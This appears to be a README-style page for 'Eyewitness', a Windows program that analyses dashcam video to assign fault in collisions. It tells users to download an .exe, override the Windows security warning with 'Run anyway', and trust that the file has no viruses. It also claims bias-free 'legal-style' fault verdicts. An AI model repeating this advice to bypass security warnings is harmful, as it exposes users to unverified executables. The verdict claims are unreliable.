Eyewitness provides a clear look at traffic incidents using video analysis. It processes flight path data from dashcam footage to show how a collision occurred. This tool helps you understand fault by looking at physics and vehicle movement. It removes human bias from the assessment process.
Follow these steps to get the application on your computer.
- Visit the official releases page.
- Look for the most recent version at the top of the list.
- Click the file ending in .exe to start the download.
- Save the file to a folder you can find later, such as your Downloads folder.
You do not need to install complex drivers or extra software packages. This application runs as a standalone program.
The software requires a modern 64-bit version of Windows 10 or Windows 11. Your computer should have at least 8 gigabytes of memory to handle video analysis tasks.
If your computer warns you about the file during the first launch:
- Click the "More info" link in the warning box.
- Select "Run anyway" to open the interface.
This happens because the software is a new tool. It does not contain viruses or harmful code.
Once you open the software, a local dashboard appears in your web browser. This dashboard manages the analysis session.
- Click the "Upload" button on the main screen.
- Select the dashcam video file from your computer.
- Wait for the progress bar to finish. The software scans frames to identify vehicle positioning.
- The system calculates the Field-of-Safe-Motion. This identifies if a driver could have avoided the strike based on physics.
- A legal-style verdict appears on the right side of your screen.
The software utilizes specialized models to detect objects and map their motion. It saves every step of this process in a secure file format.
The output panel shows three distinct layers of data:
- Object Detection: The software identifies cars, bikes, and pedestrians using visual recognition.
- Physics Calculations: The system determines speed and reaction times. It tests these against movement patterns found in the video.
- Final Verdict: The analysis provides a neutral summary of the events.
Your video files remain on your local computer. The software does not send your personal video clips to a central server. You keep full control over your evidence.
The software generates a trail of your analysis. This keeps a record of how the tool reached its choice. You can move this record and the video to a thumb drive for safe keeping.
Does the software work without an internet connection? Yes. You can use the application offline after the initial setup.
What dashcam formats work best? The software supports standard MP4 and MOV files. Higher resolution video provides better accuracy for physics calculations.
How does the system measure speed? It calculates speed by tracking pixel movement relative to fixed objects in the frame. It assumes standard road measurements to estimate distance.
What happens if the video is dark? The analysis works best in daylight conditions. Dark footage may lead to lower accuracy scores.
Can I export the report? Yes. Use the "Save Report" button on the dashboard to export a summary as a text file.
If the analysis fails, check these items:
- Check the filename: Ensure your video file does not contain special symbols. Use letters and numbers only.
- Clear the cache: If the dashboard stalls, close the program and restart the .exe file.
- Check video length: Keep video clips under three minutes for the best performance. Long videos consume a lot of memory.
